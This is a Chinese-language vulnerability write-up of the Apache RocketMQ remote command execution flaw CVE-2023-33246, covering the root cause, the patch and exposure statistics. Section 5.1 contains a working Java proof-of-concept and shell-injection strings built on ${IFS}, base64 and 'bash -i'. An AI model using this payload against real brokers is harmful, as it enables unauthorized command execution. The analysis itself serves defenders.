作者:Sunflower@知道創宇404實驗室
日期:2023年6月8日
1.漏洞介紹
Apache RocketMQ 存在遠程命令執行漏洞(CVE-2023-33246)。RocketMQ的NameServer、Broker、Controller等多個組件暴露在外網且缺乏權限驗證,攻擊者可以利用該漏洞利用更新配置功能以RocketMQ運行的系統用戶身份執行命令。
2.漏洞版本
5.0.0 <= Apache RocketMQ < 5.1.1
4.0.0 <= Apache RocketMQ < 4.9.6
3.環境搭建
使用docker拉取漏洞環境
docker pull apache/rocketmq:4.9.5
運行docker run命令,搭建docker環境
docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.5 sh mqnamesrv
docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.5 sh mqbroker -c /home/rocketmq/rocketmq-4.9.5/conf/broker.conf
docker ps檢查docker正常啟動即可
3.1 源代碼下載
https://dist.apache.org/repos/dist/release/rocketmq/4.9.5/rocketmq-all-4.9.5-source-release.zip
4.RocketMQ簡介
我們平時使用一些體育新聞軟件,會訂閱自己喜歡的一些球隊板塊,當有作者發表文章到相關的板塊,我們就能收到相關的新聞推送。
發布-訂閱(Pub/Sub)是一種消息范式,消息的發送者(稱為發布者、生產者、Producer)會將消息直接發送給特定的接收者(稱為訂閱者、消費者、Comsumer)。而RocketMQ的基礎消息模型就是一個簡單的Pub/Sub模型[1]。
4.1 RocketMQ的部署模型
Producer、Consumer又是如何找到Topic和Broker的地址呢?消息的具體發送和接收又是怎么進行的呢?
4.2 名字服務器 NameServer
NameServer是一個簡單的 Topic 路由注冊中心,支持 Topic、Broker 的動態注冊與發現。
主要包括兩個功能:
- Broker管理,NameServer接受Broker集群的注冊信息并且保存下來作為路由信息的基本數據。然后提供心跳檢測機制,檢查Broker是否還存活;
- 路由信息管理,每個NameServer將保存關于 Broker 集群的整個路由信息和用于客戶端查詢的隊列信息。Producer和Consumer通過NameServer就可以知道整個Broker集群的路由信息,從而進行消息的投遞和消費。
4.3 代理服務器 Broker
Broker主要負責消息的存儲、投遞和查詢以及服務高可用保證。
NameServer幾乎無狀態節點,因此可集群部署,節點之間無任何信息同步。Broker部署相對復雜。
在 Master-Slave 架構中,Broker 分為 Master 與 Slave。一個Master可以對應多個Slave,但是一個Slave只能對應一個Master。Master 與 Slave 的對應關系通過指定相同的BrokerName,不同的BrokerId 來定義,BrokerId為0表示Master,非0表示Slave。Master也可以部署多個。
4.4 消息收發
在進行消息收發之前,我們需要告訴客戶端NameServer的地址,RocketMQ有多種方式在客戶端中設置NameServer地址,舉例三個,優先級由高到低,高優先級會覆蓋低優先級。
- 代碼中指定Name Server地址,多個namesrv地址之間用分號分割
producer.setNamesrvAddr("192.168.0.1:9876;192.168.0.2:9876");
consumer.setNamesrvAddr("192.168.0.1:9876;192.168.0.2:9876");
- Java啟動參數中指定Name Server地址
-Drocketmq.namesrv.addr=192.168.0.1:9876;192.168.0.2:9876
- 環境變量指定Name Server地址
export NAMESRV_ADDR=192.168.0.1:9876;192.168.0.2:9876
4.5 漏洞主要涉及的類的介紹
4.5.1 DefaultMQAdminExt
DefaultMQAdminExt是 RocketMQ 提供的一個擴展類。它提供了一些管理和操作 RocketMQ 的工具方法,可以用于管理主題(Topic)、消費者組(Consumer Group)、訂閱關系等。
DefaultMQAdminExt類提供了一些常用的方法,包括創建和刪除主題、查詢主題信息、查詢消費者組信息、更新訂閱關系等。它可以通過與 NameServer 交互來獲取和修改相關配置信息,并提供了對 RocketMQ 的管理功能。
例如DefaultMQAdminExt更新broker配置的一個方法(更新的配置文件為broker.conf):
public void updateBrokerConfig(String brokerAddr,
Properties properties) throws RemotingConnectException, RemotingSendRequestException,
RemotingTimeoutException, UnsupportedEncodingException, InterruptedException, MQBrokerException {
defaultMQAdminExtImpl.updateBrokerConfig(brokerAddr, properties);
}
4.5.2 FilterServerManager
在 Apache RocketMQ 中,FilterServerManager
類是用于管理過濾服務器(Filter Server)的類。過濾服務器是 RocketMQ 中的一種組件,用于支持消息過濾功能。過濾服務器負責處理消息過濾規則的注冊、更新和刪除,以及消息過濾的評估和匹配。
5.漏洞分析
補丁文件[2]中直接將Filter Server模塊全部移除,所以我們可以直接來看FilterServerManager,簡要分析一下FilterServerManager的調用流程:
在Broker啟動時執行sh mqbroker...
,調用到BrokerStartup類:
在該類中繼續調用到BrokerController中的start()方法
繼續跟進
最終到了FilterServerManager類中,其中FilterServerUtil.callShell();存在命令執行
public void start() {
this.scheduledExecutorService.scheduleAtFixedRate(new Runnable() {
@Override
public void run() {
try {
FilterServerManager.this.createFilterServer();
} catch (Exception e) {
log.error("", e);
}
}
}, 1000 * 5, 1000 * 30, TimeUnit.MILLISECONDS);
}
public void createFilterServer() {
int more =
this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size();
String cmd = this.buildStartCommand();
for (int i = 0; i < more; i++) {
FilterServerUtil.callShell(cmd, log);
}
}
private String buildStartCommand() {
String config = "";
if (BrokerStartup.configFile != null) {
config = String.format("-c %s", BrokerStartup.configFile);
}
if (this.brokerController.getBrokerConfig().getNamesrvAddr() != null) {
config += String.format(" -n %s", this.brokerController.getBrokerConfig().getNamesrvAddr());
}
if (RemotingUtil.isWindowsPlatform()) {
return String.format("start /b %s\\bin\\mqfiltersrv.exe %s",
this.brokerController.getBrokerConfig().getRocketmqHome(),
config);
} else {
return String.format("sh %s/bin/startfsrv.sh %s",
this.brokerController.getBrokerConfig().getRocketmqHome(),
config);
}
}
根據start()方法內部可知createFilterServer方法每隔30秒都會被調用一次,
public void start() {
this.scheduledExecutorService.scheduleAtFixedRate(new Runnable() {
@Override
public void run() {
try {
FilterServerManager.this.createFilterServer();
} catch (Exception e) {
log.error("", e);
}
}
}, 1000 * 5, 1000 * 30, TimeUnit.MILLISECONDS);
}
到了這一步,很明顯我們只需要控制BrokerConfig進行命令拼接,等待觸發createFilterServer即可造成RCE。
但是要想成功觸發命令執行還有兩個問題需要解決一下:
1、在createFilterServer方法中,more的值要大于0才會觸發callShell方法
public void createFilterServer() {
int more =
this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size();
String cmd = this.buildStartCommand();
for (int i = 0; i < more; i++) {
FilterServerUtil.callShell(cmd, log);
}
}
這里只需要通過DefaultMQAdminExt設置filterServerNums的值即可,大致為:
Properties properties = new Properties();
properties.setProperty("filterServerNums","1");
...
DefaultMQAdminExt defaultMQAdminExt = new DefaultMQAdminExt();
...
defaultMQAdminExt.updateBrokerConfig("192.168.87.128:10911", props);
...
2、callshell方法傳入命令時,shellString會被splitShellString方法使用空格進行拆分為一個cmdArray數組。
public static void callShell(final String shellString, final InternalLogger log) {
Process process = null;
try {
String[] cmdArray = splitShellString(shellString);
process = Runtime.getRuntime().exec(cmdArray);
process.waitFor();
log.info("CallShell: <{}> OK", shellString);
} catch (Throwable e) {
log.error("CallShell: readLine IOException, {}", shellString, e);
} finally {
if (null != process)
process.destroy();
}
}
意味著傳入的命令如果帶了空格,都會被拆分為數組,而數組在exec中會將每個命令的結尾標記為下一個命令的開頭[3]。
sh {可控}/bin/startfsrv.sh ...
,如果傳入-c curl 127.0.0.1;
那么comArray為['sh' '-c' 'curl' '127.0.0.1' ';' '/bin/startfsrv.sh' '...']
這里的每個命令的結尾作為下一個命令的開頭,它將每個被傳入的命令都看作為一個整體,想不出一個更合適的例子,這里可以使用shell里的單引號括起來進行輔助理解:
'sh' '-c' 'curl' '127.0.0.1' ';' '/bin/startfsrv.sh' '...'
很明顯,這里的curl因為使用了空格,導致curl 127.0.0.1被拆分為了兩個部分,正確的寫法應該是:
'sh' '-c' 'curl 127.0.0.1' ';' '/bin/startfsrv.sh' '...'
但是使用空格又會被split,所以現在的問題點就在于如何避免使用空格進行完整的傳參,網上公開的解法[4]:
-c $@|sh . echo curl 127.0.0.1;
$@
作為一個特殊變量,它表示傳遞給腳本或命令的所有參數,直接將echo后面的值作為一個整體傳遞給$@,解決了拆分命令的問題。
感謝longofo@知道創宇404實驗室帶我探討出第二個繞過方法:
順便一提,這個繞過的核心點在于這里如果不使用bash,則無法成功使用${IFS}以及{}進行繞過空格限制,這里就不再進行細節講解,感興趣的師傅可以動手試試:
-c bash${IFS}-c${IFS}\"{echo,dG91Y2ggL3RtcC9kZGRkZGRkYWE=}|{base64,-d}|{bash,-i}\";
5.1 payload構造
根據上面的知識,最終構造的payload為:
Properties properties = new Properties();
properties.setProperty("filterServerNums","1");
properties.setProperty("rocketmqHome","-c bash${IFS}-c${IFS}\"{echo,dG91Y2ggL3RtcC9kZGRkZGRkYWE=}|{base64,-d}|{bash,-i}\";");
DefaultMQAdminExt defaultMQAdminExt = new DefaultMQAdminExt();
defaultMQAdminExt.setNamesrvAddr("localhost:9876");
defaultMQAdminExt.start();
defaultMQAdminExt.updateBrokerConfig("192.168.87.128:10911", properties);
defaultMQAdminExt.shutdown();
5.2 漏洞驗證
使用payload進行curl dnslog
,每隔30s左右收到一次請求:
5.3 漏洞修復
在修復版本4.9.6和5.1.1中都是直接刪除了filter server模塊
5.4 影響范圍統計
使用Zoomeye[5]進行搜索,得到ip結果34348條:
https://www.zoomeye.org/searchResult?q=service%3A%22RocketMQ%22
使用Zoomeye搜索一下被攻擊過的目標數量,得到ip結果6011條:
通過Zoomeye的下載功能,再來本地統計一下攻擊手法。這里大部分都是通過wget、curl等指令下載木馬進行執行反彈shell。
6.參考鏈接
[1] https://github.com/apache/rocketmq/tree/rocketmq-all-4.5.1/docs/cn
[2] https://github.com/apache/rocketmq/commit/c469a60dcca616b077caf2867b64582795ff8bfc
[4] https://github.com/I5N0rth/CVE-2023-33246
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/2081/